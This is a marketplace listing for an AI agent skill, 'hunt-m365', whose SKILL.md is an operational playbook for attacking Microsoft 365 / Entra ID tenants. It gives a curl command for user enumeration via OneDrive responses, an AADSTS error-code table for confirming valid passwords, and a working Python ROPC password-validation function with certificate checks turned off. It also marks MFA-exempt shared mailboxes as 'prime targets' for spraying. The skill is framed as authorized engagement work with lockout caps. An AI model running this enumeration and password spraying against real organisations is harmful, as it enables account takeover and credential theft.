Skip to content
Agentmart
Submit a tool

hunt-m365

Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math…

Skill by Encod3d-Sec

IndexedMIT★ 335
Write a review

Chalk Labs

Need help deploying hunt-m365?

Chalk Labs sets up agents like this inside real teams: connected to your tools, tested on your data, with a human in the loop where it matters.

Book a call

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/encod3d-sec-hunt-m365

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math (hard cap 1-2 attempts/user), ROPC validation, Conditional Access mapping. Wiki-first, FIND schema output.

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/hunt-m365

What's inside

Skill name
hunt-m365
Description
Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math (hard cap 1-2 attempts/user), ROPC validation, Conditional Access mapping. Wiki-first, FIND schema output.
License
MIT
Instructions
143 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# Hunt: M365 / Entra ID

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

## Wiki

```
qmd_query "Microsoft 365 Entra ID Azure AD tenant discovery user enumeration OneDrive AADSTS smart lockout conditional access ROPC" via wiki-search MCP
```

Hub: [[cloud-moc]] (live index). Primary page: [[azure-ad-enumerate]].
Anchors: [[azure-ad-conditional-access-policy]] (the CA gap you must prove bypassed), [[azure-ad-access-and-tokens]] (ROPC / token issuance).

## Attack surface (ranked - spend the zero-auth signal before any auth attempt)

**Fingerprint (target is M365/Entra) when you see:** `*.onmicrosoft.com`, `*-my.sharepoint.com`, `login.microsoftonline.com` redirects, `enterpriseregistration.*` records, or "Microsoft 365" in tech-stack notes.

1. **Tenant discovery** - zero auth, zero lockout. Namespace type, tenant ID, SharePoint presence.
2. **User enumeration via OneDrive differential** - zero auth, zero lockout. Build the full user list here; it costs nothing against the lockout counter, so do it exhaustively before touching auth.
3. **Auth (ROPC) - LAST, and hard-capped.** Only after 1 and 2 are done. This is the ONLY step that burns the Smart Lockout budget: at most 1-2 attempts per user, ever. See the math below; the ROPC helper enforces it.

## AADSTS Code Reference (Memorize)

| Code | Meaning | Lockout hit? | Action |
|------|---------|-------------|--------|
| 50034 | User does not exist | NO | Skip - remove from spray list |
| 50126 | Wrong password | YES (+1) | User exists - try alternate later |
| 50053 | Account locked (Smart Lockout) | n/a | Pre-existing lockout - flag to client; do NOT retry |
| 53003 | CA blocked token issuance | YES (+1) | **PASSWORD VALID** |
| 50076 | MFA required | YES (+1) | **PASSWORD VALID** |
| 50079 | Strong auth required | YES (+1) | **PASSWORD VALID** |
| 50158 | External auth required | YES (+1) | **PASSWORD VALID** |
| 530003 | Device-state required | YES (+1) | **PASSWORD VALID** |

Codes {53003, 50076, 50079, 50158, 530003} = password confirmed valid. Microsoft only returns these AFTER credential validation.

## Smart Lockout Math (Hard Cap Discipline)
- Default: 10 failed attempts in 10 min -> lockout
- Counter shared across ALL flows (ROPC + SAML + IMAP + EWS)
- **Hard cap: <=1-2 password attempts per user per engagement**
- With 1 attempt/user, lockout is mathematically impossible
- Any AADSTS50053 = pre-existing lockout from another actor

This cap is stricter than the `hunt-core` generic enumeration ceiling and overrides it. Never batch a password list against a user, never loop the ROPC helper without its per-email attempt file, and never re-run a user that already spent its attempt. If a step would exceed 1-2 attempts/user, stop and reduce it.

## Tenant Discovery
```bash
msftrecon -d client.example
# Key fields: Tenant ID, Namespace Type (Managed = ROPC works | Federated = ADFS)
# SharePoint Detected: Yes -> OneDrive enum available
```

## User Enumeration (OneDrive Differential - Verified May 2026)
```bash
# 200 with ~57KB body = user EXISTS (licensed)
# 404 with 0 bytes = user DOES NOT EXIST
curl -sk "https://<tenant>-my.sharepoint.com/personal/<user>_<domain>_com/_layouts/15/onedrive.aspx"

# Zero auth attempts -- zero lockout impact
```

Signal: OneDrive 404 + ROPC AADSTS50126 = functional/shared mailbox account (no OneDrive license, has password) = prime target for spray (historically MFA-exempt).

## ROPC Validation (Single-Attempt Pattern)
`HARD_CAP = 1` is load-bearing, not a default. The per-email attempt file is what keeps step 3 inside the Smart Lockout math above - do not remove it, do not raise the cap, do not call `attempt()` in a bare list loop.
```python
import urllib.request, urllib.parse, ssl, json, os

HARD_CAP = 1  # Never higher
ATTEMPT_FILE = "engagement_log/o365_attempts.json"

def attempt(email, password):
    state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
    if state.get(email.lower(), 0) >= HARD_CAP:
        return {"status": "SKIPPED_CAP"}
    
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    
    body = urllib.parse.urlencode({
        "resource": "https://graph.windows.net",
        "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
        "client_info": "1",
        "grant_type": "password",
        "username": email,
        "password": password,
        "scope": "openid",
    }).encode()
    
    req = urllib.request.Request(
        "https://login.microsoftonline.com/common/oauth2/token",
        data=body,
        method="POST"
    )
    
    try:
        resp = urllib.request.urlopen(req, context=ctx, timeout=15)
        result = json.loads(resp.read())
        token_result = {"status": "VALID_TOKEN", "token": result.get("access_token","")[:20]+"..."}
    except urllib.error.HTTPError as e:
        err = json.loads(e.read())
        code = err.get("error_codes", [0])[0]
        token_result = {"status": "ERROR", "code": code, "desc": err.get("error_description","")[:80]}
    
    state[email.lower()] = state.get(email.lower(), 0) + 1
    with open(ATTEMPT_FILE, "w") as f:
        json.dump(state, f)
    
    return token_result
```

## Conditional Access Mapping
After finding valid credential (AADSTS53003/50076/etc), document CA policy:
- Note which client_id variants are tried (Graph PS, Azure CLI, Office)
- Note if CA is per-app or universal
- If universal CA: document as "valid credential, external access blocked by CA - phishing/AiTM required for exploitation"

## Confirmation gate

From Encod3d-Sec/TORCH, MIT.

More from Encod3d-Sec/TORCH

Signals

Stars
335
Forks
49
Open issues
0
Last commit (this folder)
Jul 27, 2026 (3 months ago)

From GitHub (fetched Oct 24, 2026).

Details

License
MIT
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from Encod3d-Sec

Done for you

Rather not set it up yourself?

Chalk Labs scopes, builds and runs agents for your team: the task audit, the eval harness, the integrations and the weekly ops report. Fixed scope, priced before we start.

See how we build AI agents →Read the case studies

Chalk Labs is a two-founder AI and growth studio. We build AI agents, CRMs and MVPs for Web3 and AI companies, and have shipped 50+ product and token launches.

launches shipped
50+
launches shipped
media placements
500+
media placements
founders on every account
2
founders on every account

Press we've placed: Forbes · CoinDesk · Decrypt · Cointelegraph · The Block

Rahil Jain, Co-founder, Chalk Labs. Ex-Goldman Sachs engineer. You talk to the person who builds it.

Get hunt-m365 running in your business

Tell us what you want to automate. A founder replies within one working day with a plan, not a pitch deck.

Goes to the Chalk Labs founders, not the newsletter. Privacy

Need help deploying hunt-m365?

CallGet help
Cite this page

hunt-m365 skill. Agent Mart. https://agentmart.dev/skills/encod3d-sec-hunt-m365 (last updated 2026-10-24)